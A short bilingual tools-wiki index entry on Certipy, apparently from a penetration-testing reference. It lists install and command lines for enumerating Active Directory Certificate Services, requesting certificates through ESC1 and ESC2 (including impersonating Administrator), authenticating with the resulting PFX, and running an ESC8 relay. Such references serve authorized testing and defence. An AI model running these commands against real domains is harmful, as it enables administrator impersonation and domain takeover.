# 域渗透
English: Domain Penetration
- Tool Count: 1
- Use this file to choose the right tool quickly, then open the linked source markdown for full command details.
## Certipy
- ID: certipy-tool
- Command Count: 6
- Original Extracted Source: original extracted tools-wiki source/certipy-tool.md
Description:
ADCS证书服务攻击工具
Installation:
pip install certipy-ad
Representative Commands:
- 枚举ADCS: `certipy find -u user@domain.com -p password -dc-ip dc_ip`
- ESC1攻击: `certipy req -u user@domain.com -p password -ca CA_NAME -template Template -upn Administrator@domain.com`
- ESC2攻击: `certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE`
- 证书认证: `certipy auth -pfx administrator.pfx -domain domain.com`
- ESC8中继: `certipy relay -ca ca_server -template DomainController`
External References:
- https://github.com/ly4k/Certipy

